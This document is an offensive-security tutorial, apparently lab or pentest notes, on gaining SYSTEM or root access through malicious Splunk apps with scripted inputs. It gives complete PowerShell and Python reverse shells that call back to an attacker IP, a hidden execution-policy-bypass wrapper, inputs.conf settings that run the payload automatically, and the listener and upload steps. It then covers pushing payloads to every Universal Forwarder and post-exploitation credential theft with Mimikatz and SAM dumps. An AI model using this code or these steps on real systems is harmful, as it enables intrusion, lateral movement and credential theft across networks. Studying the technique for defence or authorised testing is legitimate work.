Attacking Splunk
Abusing Built-In Functionality — Scripted Input RCE
Splunk’s scripted inputs feature executes scripts on a defined interval and feeds their STDOUT into the Splunk index as data. Because Splunk runs as root (Linux) or SYSTEM (Windows) and bundles Python with every installation, this is a reliable and fast path to full system compromise from admin access — authenticated or via Splunk Free (no auth).
Supported script types:
- Python (always available — bundled with Splunk)
- PowerShell / Batch (Windows)
- Bash (Linux)
App structure
A Splunk app is a directory with at minimum two subdirectories:
splunk_shell/
├── bin/ ← scripts to execute
│ ├── rev.py ← Python reverse shell (Linux)
│ ├── run.bat ← Batch wrapper (Windows)
│ └── run.ps1 ← PowerShell reverse shell (Windows)
└── default/
└── inputs.conf ← tells Splunk what to run and when
inputs.conf
inputs.conf defines the scripted inputs — which scripts to run, how often, and whether they are enabled:
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
disabled = 0— the input is activeinterval = 10— run every 10 seconds (always in seconds)- The script block only executes if
intervalis present
Windows — PowerShell reverse shell
run.ps1 (PowerShell one-liner — update IP and port):
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
run.bat (wrapper — executes the .ps1 with bypass):
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
%~dpn0 expands to the drive, path, and name of the batch file — this resolves to run.ps1 in the same directory.
Linux — Python reverse shell
rev.py (update IP and port):
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
pty.spawn gives a proper TTY rather than a raw socket — allows interactive programs (sudo, vi, etc.) to work.
Package and upload
1. Create the tarball
tar -cvzf updater.tar.gz splunk_shell/
Splunk accepts .spl files (which are just .tar.gz archives) or plain .tar.gz.
2. Start a listener
sudo nc -lnvp 443
Or with socat for a more stable shell:
socat TCP-LISTEN:443,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
3. Upload the app
Navigate to:
https://<target>:8000/en-US/manager/search/apps/local
Click Install app from file → Browse → select the .tar.gz → Upload.
As soon as the app uploads its status switches to Enabled and the scripted input fires within 10 seconds.
4. Shell received
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.50] 53145
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> hostname
APP03
Lateral movement via Deployment Server
If the compromised Splunk instance is a deployment server, it manages Universal Forwarders installed on other hosts in the network. Placing a malicious app in the deployment-apps directory pushes it to every connected forwarder:
$SPLUNK_HOME/etc/deployment-apps/
Note: Universal Forwarders do not include Python — they are minimal Splunk agents. On Windows environments, use a PowerShell reverse shell. On Linux, use Bash.
This can turn a single Splunk compromise into RCE on every host running a Universal Forwarder — potentially dozens or hundreds of systems depending on the Splunk deployment size.
Post-exploitation
From a NT AUTHORITY\SYSTEM or root shell via Splunk:
| Action | Purpose |
|---|---|
Dump registry hives (HKLM\SAM, HKLM\SYSTEM) | Extract local account hashes |
| Run Mimikatz / lsass dump | Extract domain credentials from memory |
Enumerate $SPLUNK_HOME/etc/ | Splunk stores credentials, tokens, and forwarder configs |
| Search Splunk indexes | Indexed log data may contain plaintext credentials, API keys, connection strings |
| Check deployment-apps | Identify other managed hosts; push lateral movement payloads |
| Enumerate AD | If domain-joined, begin AD enumeration from this foothold |